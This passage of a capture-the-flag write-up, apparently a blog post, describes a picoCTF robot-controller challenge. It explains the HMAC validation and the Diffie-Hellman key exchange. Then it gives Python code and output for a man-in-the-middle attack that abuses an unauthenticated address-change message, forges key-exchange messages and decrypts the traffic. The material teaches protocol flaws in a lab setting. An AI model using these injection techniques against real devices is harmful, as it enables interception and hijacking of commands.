16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;cfc6ef2e9f3a82af7d2ddd23b3ba38370aa6e4c216e8c6c6e084cfaf09dc4f97bbeb277855b55d100f74a199ebe69131a0f6f6a8a0b445aa3dc1a773e6fe76790dbbe1346268626c4cc2b437ff469ca0a72e26c0f2b6f59c8bc3bd21907c874e00bf8be1a3779d9d2b6843cf80a6c7653a4dfa630f074c1d10d0029c9746d9a3baebbf4b91bff0ba81deccab2d5075d34b12447e74a48a2fdbaaaff23cdabd0b67251dfdfd5a2f26;2d25038b12cf89264bade96f41d281f3;23398590048c23f3a704eb6fb04f7dc7f15982ace4ced4e9&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;e5aa939159c3481d026698e46d25ed80ac039e0a2ac5d360d179dc578c427b4a7c69bd578ae780a33717a23b5f7800a6c4fa52e9131a38b3304d73a31f96e47f1da5051a5ec29534e96fbcc17aef684ac881c6d286c69a5f63b12cbee36965312cbe0944c28b10e961caeddd8d3b974412463b2d5b609a54a0f006d6b1960ccb3d54082258b1f473b1e7895422eefb37ad7db6e67189dfed3b20049bf3c72746d9b898e830b49c90e5c78f2335ba708723d7bf8d;03c09f83139183803a5d2d8afffb9a4c;7057cbe2104f80bce7efd1f6ac2623cbef451db86788fa4c&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;878685cbcc5fcf99069ecc3c7f1ef3379ac5be7f50874c974f60e878365b4420b385c231ad9f8d44193e68e6b9858d89a2672e2543bfe6f7d7db1a7edc2b2e97c3014ab05e4345c0d674476fade4124613453d7d18277396f677125c39906aafeee1430d4706babdd598d835e4a7d7be5545b5e2789f594e61cf204992b938993f1457ca7baf3d1990faf80e5e8171495edc4ac7c80005a8ed8432d109dd7ab1e0106791468fda38ad8c78eb;4ebe5da81e0bbc14b77d66e4a9711113;3788adc2e728a89f434714edcd66bcda00260465a9882c4d&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;c48f86c3482f7763e51874b26d101a7eb64d27229dd28a1c3e404a62c0e35161fd07f8727aa706288ac893e3f4dd33a97bb426189533fb3fef6fa24d5917d96433c695c5c0efc25defc23628794045d71b86d6a4ca4b267c55bf203997f2a58a209f71c4a32d8b8bad95d66894b34d15a9b9ae577e86aee3910089ee68a99a595862814e9daf42559722dd465bdf119f9b0d9f392f8d0862715e16091e4376fa57c2b163c4a1be4a;736f53c389d8a5f876a460d84ff5baa2;9bead759606960d66200ca4d2517b42fa30ed9b029fd6deb&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;2743b675aa844284d74fc82274ea01aa0279d9423f4295f00b03ea31fa266cacd84fa5e03886d0b915ca5e656bf99bbeb0d5a5491846ffa223a37597f0ec8a4bcfa0c39a0aeb65591ee142c6c9fde62b46bf78dc92ad5b2ae1e00f2362840da6240db651e9b31d20e04b677579bbe76e85fe7692f30f19ecbcaf2d8373448b6b79c985a630980b48096abc9fb6e7daa766738746a24be8357b89e8579674708233b817ebcfe5e65d;e13304cf4e95815c39beeb1ea73eecd7;cee0ed02ed5226a00f8557c330766a9b6c1d1e8585986655&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;30e214a509c1405f3eebee65a23bc9af59f03d73a5b62aba8214ef4651855930d1cae2bd0beb081281f7a8362ac107b1ed4741ecb82ae1ac3cdc310b74421e64ff9bc42c61d432b55641af766c3351435aa892aa361a9673b0860b1adb9680a079865435a504b43ca77e2352680a82340f3b5838fb6393648d1c2d0d0ce48bff53b28e53f1d60d41ddae3226f6909a6ad7e656fd847726aebd14caccf33fba099861067c3b80e26595247e80afca394fba487e5e;15550e845f45310433bffc8d7a9729a2;650326a696f068cb11fd962a2196fb9ef527c5d9e2fbfb90&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;6b857774536aa34577cc559b5cdde56b06104e315e9cdbfde2ec36474eb5d4e8ba0a0c7d8fb2587d08fc3efff94b6fd2916fc7fd8e7efdfa0ca08b7ca54ac2df2480f318a59dcf396b979996b34e6cf5fb65e8b0112c62419ea0f54a6c6458561d4109a50f4406a5519011131df0245511cfa489a58ad2129b99aa5145cad28504d2156cb892b497f9cf32ae841c02abb7b8c3406bbd9ac04a67d84b6f452382519b1f06d86bd9d2680d739817;bf8be4be9420235b1e7ac9a29dd1964d;4d7b8baabd8f7decbfcf50ed1cf1ac1bc84f54096a5cc410&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;9037b1a807ff9455d2380e732ea29805c46c762faa11a6f0388a3e1b56659f6205f78cad0e63541ba704545ec22ff240eac9b183354ed4eed83753fe70a8063647dfc851adbf19d0a26843fa26a7ef76f650388a8b422606ad63fcea45d3b8b7a3bd79f2aa3f3426729fb63b1ebdd18e00d2c74a045946097106b1143b44e42fcf48895d8c5d68304c2c5fbb01907d4b26df2c2e66fa905650edcdf7b956403c32df54f4921977be;428002ec88a700bf0341cc9dc48c9736;fd7d8aded7e95e624f35063b788c8fbaeb715758371a6e2d&#39;}<br><br>{<br>  &#39;pos&#39;: [6, 3], <br>  &#39;log&#39;: [&#39;[2025-05-18 00:55:39.378] Robot received move command: south&#39;, <br>  &#39;[2025-05-18 00:55:38.726] Robot received move command: east&#39;, <br>  &#39;[2025-05-18 00:55:37.172] Robot received move command: north&#39;, <br>  &#39;[2025-05-18 00:55:36.519] Robot received move command: west&#39;, <br>  &#39;[2025-05-18 00:55:34.965] Robot received move command: south&#39;, <br>  &#39;[2025-05-18 00:55:34.313] Robot received move command: east&#39;, <br>  &#39;[2025-05-18 00:55:32.760] Robot received move command: north&#39;, <br>  &#39;[2025-05-18 00:55:32.108] Robot received move command: west&#39;, <br>  &#39;[2025-05-18 00:55:30.554] Robot received move command: south&#39;, <br>  &#39;[2025-05-18 00:55:29.902] Robot received move command: east&#39;, <br>  &#39;[2025-05-18 00:55:29.700] Robot received go_back_to_home command&#39;, <br>  &#39;[2025-05-18 00:55:29.690] Robot received go_back_to_home command&#39;, <br>  &#39;[2025-05-18 00:54:38.652] Robot received early stop instruction&#39;, <br>  &#39;[2025-05-18 00:54:37.299] Robot received move command: south&#39;, <br>  &#39;[2025-05-18 00:54:36.647] Robot received move command: east&#39;, <br>  &#39;[2025-05-18 00:54:35.093] Robot received move command: north&#39;, <br>  &#39;[2025-05-18 00:54:34.441] Robot received move command: west&#39;, <br>  &#39;[2025-05-18 00:54:32.887] Robot received move command: south&#39;, <br>  &#39;[2025-05-18 00:54:32.235] Robot received move command: east&#39;, <br>  &#39;[2025-05-18 00:54:30.682] Robot received move command: north&#39;, <br>  &#39;[2025-05-18 00:54:30.030] Robot received move command: west&#39;, <br>  &#39;[2025-05-18 00:54:28.476] Robot received move command: south&#39;, <br>  &#39;[2025-05-18 00:54:27.824] Robot received move command: east&#39;, <br>  &#39;[2025-05-18 00:54:27.622] Robot received go_back_to_home command&#39;, <br>  &#39;[2025-05-18 00:54:27.531] Robot received go_back_to_home command&#39;], <br>  &#39;flag&#39;: &#39;robot has not yet found the flag&#39;, <br>  &#39;map&#39;: [<br>           [0, 0, 0, 0, 1, 0, 0, 0, 0, 1], <br>           [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], <br>           [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], <br>           [0, 0, 0, 0, 0, 0, 0, 0, 0, 1], <br>           [0, 1, 0, 0, 0, 0, 0, 0, 2, 0], <br>           [0, 0, 0, 0, 0, 0, 0, 0, 1, 0], <br>           [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], <br>           [0, 0, 0, 0, 0, 0, 0, 1, 0, 0], <br>           [0, 0, 1, 0, 0, 0, 0, 0, 0, 0], <br>           [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]<br>         ], <br>  &#39;running&#39;: True<br>}</pre><p>The first 3 outputs seemed to show some validation processes between the robot and the controller.</p><pre>DEBUG: Received message {&#39;msg_type&#39;: &#39;ack_validate&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;response&#39;: &#39;b9aaa32b2820666ed99e556853275d856207b23610a1d09c6017bc9d46061d9ead8916da5c9f69b2538657e3ce2397e0dfdf22ddfaf3bea046c20f76d7a00ac3&#39;}<br>DEBUG: Received message {&#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;msg_type&#39;: &#39;validate&#39;, &#39;challenge&#39;: &#39;2454cfe72c97040ea00ff57830d62aba&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;debug&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 255, &#39;message&#39;: &#39;Robot successfully validated&#39;}<br><br>...</pre><p>Reading through <em>robot.py</em> and <em>robotcontroller.py</em>, I saw that the robot (address of <em>0x20</em>) would first send out a <em>“validate”</em> message and wait for the controller (address of <em>0x10</em>) to send back an <em>“ack_validate”</em> message to move on. Basically, the robot would send a random 16-byte hex value marked as <em>“challenge”</em> to the controller, and then the controller would encrypt an HMAC <em>(Hash-based Message Authentication Code)</em> from this <em>“challenge”</em> value using a shared key. Then, the controller would send the HMAC to the robot, and the robot would create its own HMAC value using the same <em>“challenge”</em> value and the shared key. If the values matched, then the robot and the controller would become validated and move on to the next stage. If not, nothing would happen since they weren’t validated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXscjLbAIBlTxCBb2fWkXQ.png" /></figure><p>The next 2 outputs seemed to show a key exchange process through the Diffie-Hellman key exchange method.</p><pre>...<br><br>DEBUG: Received message {&#39;msg_type&#39;: &#39;ack_key_exchange&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;key&#39;: &#39;884672cae35b7e1f6a34a64c93911e52a18e25de953b14ad3040eaac91e97106&#39;}<br>DEBUG: Received message {&#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;msg_type&#39;: &#39;key_exchange&#39;, &#39;key&#39;: &#39;2e343afc1290a096776be4969a659c22839b3c23f9abf0277e4f792ab01a7654&#39;}<br><br>...</pre><p>This would be the process where the robot and the controller exchange secret keys to encrypt and decrypt messages.</p><p><strong><em>Note:</em></strong><em> The Diffie-Hellman is one of the widely used key exchanging methods for both asymmetric and symmetric cryptography. The basic principle behind it is encryption / decryption through the discrete logarithm problem. It is explained in my </em><a href="https://github.com/jinzohh/diffie_hellman"><em>Diffie-Hellman demo code</em></a><em> and </em><a href="https://github.com/jinzohh/discrete_log"><em>discrete logarithm demo code</em></a><em> on Github. There are also variations of the Diffie-Hellman method such as the Elliptic Curve Diffie-Hellman (ECDH) and Needham-Schroeder, which do not utilize the discrete logarithm problem.</em></p><p>All the heavy lifting was done through the <em>monocypher</em> library in this case, so there was no need to get to the details of choosing a prime number <em>p</em> and a generator <em>g</em>, etc.</p><p>The robot would compute a public key from its private key, which was a random 32-byte value, and send it to the controller. Then, the controller would send its own public key, which would be computed in a similar fashion, to the robot. The controller would, then, calculate its Diffie-Hellman shared key using the robot’s public key. Upon receiving the public key from the controller, the robot would also proceed to calculate its Diffie-Hellman shared key, which would be the same value as calculated by the controller. This would be the Diffie-Hellman key exchange process where two parties could establish a shared key to encrypt / decrypt messages without explicitly exchanging the private keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rqfagFy06zEk2y90F_nozg.png" /></figure><p><strong><em>Note:</em></strong><em> The shared key used for validating the “challenge” message is different from the Diffie-Hellman shared key. Later on, there will be another shared key known as the “HMAC shared key”. The 3 shared keys are different and will be referred to as below from here on.</em></p><ol><li><strong><em>CSK</em></strong><em> = Challenge Shared Key</em></li><li><strong><em>DHSK</em></strong><em> = Diffie-Hellman Shared Key</em></li><li><strong><em>HSK</em></strong><em> = HMAC Shared Key</em></li></ol><p>After the key exchange, I observed a repeating set of message types: <em>“secure_data,” “secure_data_ack,” “secure_data_request,”</em> and “<em>secure_data response</em>.<em>”</em> And one set of these commands made the robot move once in one of the following directions: <em>east, south, west,</em> and <em>north</em>. In the default setting, I saw that the robot moved, forever, in a circle from <em>east</em> to <em>south</em> to <em>west</em> to <em>north</em>.</p><pre>...<br><br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_ack&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;73dce85dcdf88b8a8b37e3e284cc9114311c1dfcc6c1dce8d0fd3c4c3a41d97cb62421af906cefd910d327b29431fb1b73fe098510c481777654ba1ee71ff81688264dd321f32728ca0f7be2aed6cdb63a250d12ebd77e87eb40ff71ce2e6b091e6668849ffac8b08cb0dd8d531e734bbbb9372bf8034ea7b622a98f5e486fe3cfc3b2b231f90944afbe4d7ee0cb9522fb2e9681e4909118c2820a8d3e62ec5eefcc4f88f49524;0d67cf55a2827246f0400ab1a8dbbeb5;eb5e5127250e7ad22ec3ecf86aa28f4c729c85e798da2e73&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;53a6ed88f5fe9895d9979c098be4fac6d9afb51db420c7aff996caebe49275f1ed045372d90507e20267d63d86b4d101c8ca6c4b2600f9281edfdfe8f46873ee8b7e9bf359ce80e677a7d877082e4b382dca780457af41cbc6c90f9b4217b2d177be0ebf56d22c3ad553b6c8a42cf8b81c2af98c8e59b39c2a6477f83edf4d8b37332915ada36188d8a6c21935a1ac051f8ed7aaedc297e57d4b907f78c2074551ddbd4d66ad08e253c73bb27fac7531636272;dec9e91dceeae27a47ca483275eef5b0;f4425e494601df0cb562cf2300740797e53cd4c61db5ba84&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_response&#39;, &#39;src&#39;: 16, &#39;dst&#39;: 32, &#39;encrypted&#39;: &#39;80fad94a9bfd1c50c0408a14868cc948378ac00e7173417f0a0c00afc999f6367a764523dd699a19cea55668f9cbb21dbd4a8a537e0145bcdd441bd9521b2fb0ca29ac90435f8d4a4f8650e4c6be922fd0952e734e71ce3cbd35bbebd26e51339c6fc0e1785ddd32a2b69cb0e3fddf6d8baa60bb88d94280bf06ef1ddf816b409f872a6e3ecabe8d639feade9cd48957f464a6de7ef932744180717270df66312f58df15c490b213aeaaa4;ebe7098f5e183ddcfc9cf0ddc427f3ad;b022ed1221d7d92485f97eaa640a6b994c75506bd040af7d&#39;}<br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data_request&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;f2f034107eec0be4141b03957f55c62e6ac70205cf8812df17d177c077b4ec119094f4fd8d96614990eae12304e566ffc5f33a269984dddbdbe0610d6d5ce3ac76d161f2fa4a2dfb5f2f99f40e2503aa777212546e64c11184c9c1a1db2a7a9860db3f03c7545824b940b1f6280b7c22b1e78185b6157c76918ed311528c88fbd7f47d27d070b557f031265afdf88614dc21a448588eba8b1d038a231e0c8ec3a3072b56b6e55f;c8059b3f2e0056782d409978024e62ba;03950160b57a8669d420e8c58ea77b5c6fb2e62d29a9b197&#39;}<br><br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wT6TIXzfWavpl9rQJgbDlQ.gif" /></figure><p>Picking up from the point after the Diffie-Hellman key exchange, the robot would proceed to send a movement request which would always start with a <em>“secure_data”</em> message type with a specific nonce value. It would request the controller that it’d like to receive a direction of movement.</p><p>The controller would, then, send a <em>“secure_data_ack”</em> message type which would just be an encrypted blank message with a matching nonce value, acknowledging that it received the request.</p><p>Then, the robot would send a <em>“secure_data_request”</em> message type which would be another encrypted blank message but with an incremented nonce value, acknowledging the acknowledgement.</p><p>Finally, the controller would send a <em>“secure_data_response”</em> message type with another matching nonce value that would contain the direction.</p><p>After receiving this message from the controller, the robot would move accordingly, and then, send another <em>“secure_data”</em> message type to get the next movement direction. This process would continue until it finished the <em>for loop</em> or met an exception criteria, as indicated at the bottom of the <em>robot.py</em> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PLw5iTRgbfaL2QAiZGgj0g.png" /></figure><p><strong><em>Note:</em></strong><em> The DEBUG messages above are not in order. They are printed this way probably because the timing of sending messages between the robot and controller and logging them as DEBUG messages may have been slightly off in the code. The next sections below will correctly show the order of events for the DEBUG messages.</em></p><p>Because of the incremental nonce values, every message sent back and forth would have an entirely different encryption value, even if the actual message was the same. Also, all messages were in json format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uyRYAuMzIrs4aRd7rl-Q7Q.jpeg" /></figure><blockquote>My slightly modified code for radio_interface.py functions.</blockquote><p>I wanted to make running and re-running of my Python program a bit easier, so I modified the <em>radio_interface.py</em> functions as below. Re-entering the changed port number on every restart of the instance was getting difficult to constantly scroll back up to the beginning of the code. By changing it as below, I was able to run by conveniently entering the port number through the command line.</p><p>Also, for the <em>receive_radio_messages()</em> function, I organized the <em>DEBUG</em> output into a list for easier accessibility.</p><pre># Modified functions for radio_interface.py.<br><br>def receive_radio_messages(SERVER_URL):<br>    msg_group = []<br>    messages = requests.get(SERVER_URL+&quot;/radio_rx&quot;).json()<br>    <br>    for msg in messages:<br>        print(&quot;\nDEBUG: Received message&quot;, msg)<br>        msg_group.append(msg)<br>        <br>    return msg_group<br><br># [message] argument should be a Python dict object<br>def inject_radio_message(SERVER_URL, message):<br>    requests.post(SERVER_URL+&quot;/radio_tx&quot;, json=message)<br><br>def start_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/start&quot;)<br><br>def stop_robot(SERVER_URL):<br>    requests.get(SERVER_URL+&quot;/stop&quot;)<br><br># Get the location of the robot and the obstacles on the grid<br>def get_board_state(SERVER_URL):<br>    return requests.get(SERVER_URL+&quot;/state&quot;).json()<br><br>...<br><br><br>def main():<br>    PORT = int(input(&quot;Enter PORT: &quot;))<br>    server = &quot;http://activist-birds.picoctf.net:&quot; + str(PORT) + &quot;/&quot;<br>    <br>    ...<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><blockquote>The bugs:</blockquote><p>My job was to conduct a <strong>Man-In-The-Middle Replay Attack</strong> by somehow manipulating the controller’s directional commands, so that, the robot only received the commands that I wanted it to receive. The bugs in the code that enabled this manipulation were as below:</p><ol><li><em>Unauthenticated address change of the controller</em></li></ol><p>In the <em>robotcontroller.py</em> file, I noticed that I could change the address of the controller by injecting a <em>“set_addr” </em>message type to the controller with an address of my choice. So, I changed the address from <em>0x10</em> to <em>0x30</em>. With this change, the controller would not automatically receive messages sent by the robot.</p><p>As stated in the code below, authentication to set the address was avoided due to a bootstrapping problem. It assumed that initial establishment of trust via authentication would be difficult because there was never a pre-existing trust. In other words, no secret keys were exchanged before setup, so it was left open to avoid disrupting the process.</p><p>This kind of problem would normally be mitigated via an out-of-band authentication process where it would involve an external device, i.e. a phone, authenticator app, etc., for gaining access.</p><p><strong><em>Note:</em></strong><em> The robot is configured to send messages to the address of 0x10, only, which is the controller’s original address, and this cannot be changed.</em></p><pre># Location of the bug in robotcontroller.py.<br><br>def message_callback(self, msg):<br>    ...<br>    <br>    # To avoid the bootstrapping problem, changing the address needs to<br>    # be an unauthenticated operation<br>    if msg_type == &quot;set_addr&quot;:<br>        self.address = int(msg[&quot;new_addr&quot;]) &amp; 0xFF<br>        self.send_message({<br>            &quot;msg_type&quot;: &quot;ack_set_addr&quot;,<br>            &quot;src&quot;: self.address,<br>            &quot;dst&quot;: msg[&quot;src&quot;]<br>        })<br>  <br>    ...</pre><pre># The code to exploit this bug.<br><br>...<br><br># Set new addr for controller to conduct MITM attack.<br>set_new_addr = {<br>    &quot;msg_type&quot;: &quot;set_addr&quot;,<br>    &quot;src&quot;: 0x20,<br>    &quot;dst&quot;: 0x10,<br>    &quot;new_addr&quot;: 0x30,<br>}<br><br># Sending message.<br>inject = inject_radio_message(server, set_new_addr)<br>time.sleep(1)<br><br># Reading output.<br>print(&quot;\nChanging Controller&#39;s address to 0x30.&quot;)<br>msg_recv = receive_radio_messages(server)<br><br>...</pre><p>2. <em>MITM Diffie-Hellman key exchange</em></p><p>With the changed address of the controller, I was able to control the flow of the messages between the robot and the controller. After starting the process, the robot would send a <em>“validate”</em> message and would just keep waiting until it received back an <em>“ack_validate”</em> message. So, I repackaged the robot’s <em>“validate”</em> message and sent it over to the controller to get through the initial validation process.</p><p>It had to be done this way because the CSK was required to clear the validation, and it could only be accessed from within the server. The code referred to it as <em>keys[“authenticity_key”] </em>where <em>“keys”</em> was imported via <em>from keys import keys.</em></p><pre># Location of the validation process in robot.py and robotcontroller.py.<br><br># robot.py<br><br>from keys import keys<br><br>...<br><br># Validate the robot&#39;s authenticity<br>challenge = os.urandom(16).hex()<br>self.send_message({<br>    &quot;src&quot;: self.address,<br>    &quot;dst&quot;: ROBOT_ADDRESS,<br>    &quot;msg_type&quot;: &quot;validate&quot;,<br>    &quot;challenge&quot;: challenge<br>})<br>response = await self.wait_message(&quot;ack_validate&quot;)<br>expected_response = crypto.compute_hmac(challenge, 0, keys[&quot;authenticity_key&quot;])<br>if response.get(&quot;response&quot;) != expected_response.hex():<br>    self.debug(&quot;Robot validation failed&quot;)<br>    self.start = False<br>    continue<br><br>self.debug(&quot;Robot successfully validated&quot;)<br><br>...<br><br><br># robotcontroller.py<br><br>from keys import keys<br><br>...<br><br>if msg_type == &quot;validate&quot;:<br>    response = crypto.compute_hmac(msg[&quot;challenge&quot;], 0, keys[&quot;authenticity_key&quot;])<br>    self.send_message({<br>        &quot;msg_type&quot;: &quot;ack_validate&quot;,<br>        &quot;src&quot;: self.address,<br>        &quot;dst&quot;: msg[&quot;src&quot;],<br>        &quot;response&quot;: response.hex()<br>    })<br><br>...</pre><pre># The repackaged code to sent to the controller for validation process.<br><br>...<br><br># Start the Robot.<br>print(&quot;\nStarting robot...&quot;)    <br>start_robot(server)<br>time.sleep(1)<br><br># Reading output. Extracting challenge key.<br>msg_recv = receive_radio_messages(server)<br><br># Extracting challenge validation key.<br>challenge = msg_recv[0][&#39;challenge&#39;]<br>print(&quot;\nChallenge validation key sent from Robot:&quot;, challenge)<br>print()<br><br># Validating robot authenticty.<br>validate_msg = {<br>    &quot;src&quot;: robot_addr,<br>    &quot;dst&quot;: new_controller_addr,<br>    &quot;msg_type&quot;: &quot;validate&quot;,<br>    &quot;challenge&quot;: challenge<br>}<br><br># Sending message.<br>inject = inject_radio_message(server, validate_msg)<br>time.sleep(1)<br><br># Reading output. Extracting Robot&#39;s public key.<br>msg_recv = receive_radio_messages(server)<br><br>...<br><br><br><br><br># OUTPUT<br>Starting robot...<br><br>DEBUG: Received message {&#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;msg_type&#39;: &#39;validate&#39;, &#39;challenge&#39;: &#39;c5bf2149ad5489fb7b0afa00176ca7e9&#39;}<br><br>Challenge validation key sent from Robot: c5bf2149ad5489fb7b0afa00176ca7e9<br><br>DEBUG: Received message {&#39;msg_type&#39;: &#39;ack_validate&#39;, &#39;src&#39;: 48, &#39;dst&#39;: 32, &#39;response&#39;: &#39;ed9ec9b4ac5550dcb2cda65d23ca4f87162d8d8a6b905639f678151675e6231d656d134df781f95c286d0e58aeea72ab9570ec1eced3025b9558b681ae11b025&#39;}<br><br>DEBUG: Received message {&#39;msg_type&#39;: &#39;debug&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 255, &#39;message&#39;: &#39;Robot successfully validated&#39;}<br><br>DEBUG: Received message {&#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;msg_type&#39;: &#39;key_exchange&#39;, &#39;key&#39;: &#39;8745b6222418292e1c15997a4e06a8a05c7efcad07afe6cc38fcaed5a674b971&#39;}</pre><p>After the validation process was complete, the robot sent a <em>“key_exchange”</em> message for establishing a DHSK with the controller as shown by the last DEBUG message. Due to the address change of the controller, the robot would just hang until it received the acknowledgement message that contained the opposite party’s public key. To establish myself as a “man in the middle,” I crafted my own <em>“ack_key_exchange”</em> message with a public key generated from a private key of my choosing. The robot was successfully tricked in creating a DHSK with me instead of the controller. From here on, I was able to decrypt all messages coming in from the robot.</p><pre># Sending my own &quot;ack_key_exchange&quot; message to the robot to establish a DHSK.<br><br>...<br><br># Robot&#39;s public key.<br>robot_dh_pub_key = msg_recv[2][&#39;key&#39;]<br>print(&quot;\nRobot&#39;s public key:&quot;, robot_dh_pub_key)<br><br># Generate my private key.<br>my_priv_key = os.urandom(32)<br><br># The &quot;ack_key_exchange&quot; message for Robot.<br>ack_key_exchange = {<br>    &quot;msg_type&quot;: &quot;ack_key_exchange&quot;,<br>    &quot;src&quot;: new_controller_addr,<br>    &quot;dst&quot;: robot_addr,<br>    &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>}<br><br>my_dh_pub_key_robot = ack_key_exchange[&#39;key&#39;]<br>print(&quot;\nMy public key sent to Robot:&quot;, my_dh_pub_key_robot)<br><br># Construct my shared key with Robot.<br>shared_key_robot = monocypher.key_exchange(my_priv_key, bytes.fromhex(robot_dh_pub_key))<br>print(&quot;\nMy shared key with Robot:&quot;, shared_key_robot.hex())<br><br># Sending message.<br>inject = inject_radio_message(server, ack_key_exchange)<br>time.sleep(1)<br><br># Reading output.<br>msg_recv = receive_radio_messages(server)<br><br># Decrypting the secure_data message from Robot.<br>msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>...<br><br><br><br><br># OUTPUT<br>Robots public key: 8745b6222418292e1c15997a4e06a8a05c7efcad07afe6cc38fcaed5a674b971<br><br>My public key sent to Robot: c10449d51482497267aaaebd4a74494093c4b83153e7a27e8afa68b71d3f6c12<br><br>My shared key with Robot: 7ca10910c2003fa99c84593db91d71e2c5362e418cdf05258c2d147c5842ec71<br><br>DEBUG: Received message {&#39;msg_type&#39;: &#39;secure_data&#39;, &#39;src&#39;: 32, &#39;dst&#39;: 16, &#39;encrypted&#39;: &#39;4b608fea73fa17f8836e87bc5ee8f340ad86823c85db3eeecc9facdfb17c4fd32ad43ba95822c33550c92e5e0dadd53fe94567cc58c2741305be154e340a36d00353cd0c1a69e9c5b41d8abef0c229d8971f6a746c3c87484319a5329131c7f20b366660b23b59bcb7f6e90425406cf7e6315a6e6fab1deabb4261a24e7874b450724f148df5b17d5c257599060c5daaa0808d69994a08314735821590e69d0a50277779d74d3934e76edadd09a1ac788b555a;960d7eb94f7f43b974e060c391977090;4823430ec48c3fbf8f5baada59cb96c43e45c07d981697dd&#39;}<br><br>Decrypted message from Robot: {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 0, &#39;hmac&#39;: &#39;670636e2d88eaa8fc23cfce017bbce29ba3df4000f08ebb97dc78666e65a03d60a14fa5ca29f56da4935dcf4422bcf07cf24d9ff74ad5adcc9fee7253d0b98b7&#39;}</pre><p>As shown by the last DEBUG message above, I was able to decrypt the robot’s incoming message with the newly established DHSK. I was able to see that the <em>“secure_data”</em> message type contained the <em>“get_movement” </em>message.</p><p>Next, I had to establish the same relationship with the controller to decrypt its messages, as well. Normally, the last <em>“key_exchange”</em> message sent by the robot would be sent over to the controller to establish a DHSK. However, because I was the malicious “man in the middle,” I had to discard that message, and instead, craft a new <em>“key_exchange”</em> message to send to the controller.</p><pre># Sending my own &quot;key_exchange&quot; message to the controller to establish a DHSK.<br><br>...<br><br># The &quot;key_exchange&quot; message for Controller.<br>key_exchange = {<br>    &quot;msg_type&quot;: &quot;key_exchange&quot;,<br>    &quot;src&quot;: dummy_robot_addr,<br>    &quot;dst&quot;: new_controller_addr,<br>    &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>}<br><br>my_dh_pub_key_controller = key_exchange[&#39;key&#39;]<br>print(&quot;\nMy public key sent to Controller:&quot;, my_dh_pub_key_controller)<br><br># Sending message.<br>inject = inject_radio_message(server, key_exchange)<br>time.sleep(1)<br><br># Reading output.<br>msg_recv = receive_radio_messages(server)<br><br># Controller&#39;s public key.<br>controller_dh_pub_key = msg_recv[0][&#39;key&#39;]<br>print(&quot;\nController&#39;s public key:&quot;, controller_dh_pub_key)<br><br># Construct my shared key with Controller.<br>shared_key_controller = monocypher.key_exchange(my_priv_key, bytes.fromhex(controller_dh_pub_key))<br>print(&quot;\nMy shared key with Controller:&quot;, shared_key_controller.hex())<br><br>...<br><br><br><br><br># OUTPUT<br>My public key sent to Controller: c10449d51482497267aaaebd4a74494093c4b83153e7a27e8afa68b71d3f6c12<br><br>DEBUG: Received message {&#39;msg_type&#39;: &#39;ack_key_exchange&#39;, &#39;src&#39;: 48, &#39;dst&#39;: 64, &#39;key&#39;: &#39;f311cce4aca11f710b17fa618ecebdeedc188a38fe5d531aa48e04c9a49f1612&#39;}<br><br>Controllers public key: f311cce4aca11f710b17fa618ecebdeedc188a38fe5d531aa48e04c9a49f1612<br><br>My shared key with Controller: a63f4ebcb49e49e99f5cfa7d211287ca519b97589870bce9f8e30e0c3f022838</pre><p>From here on, I was able to decrypt both messages from the robot and the controller with 2 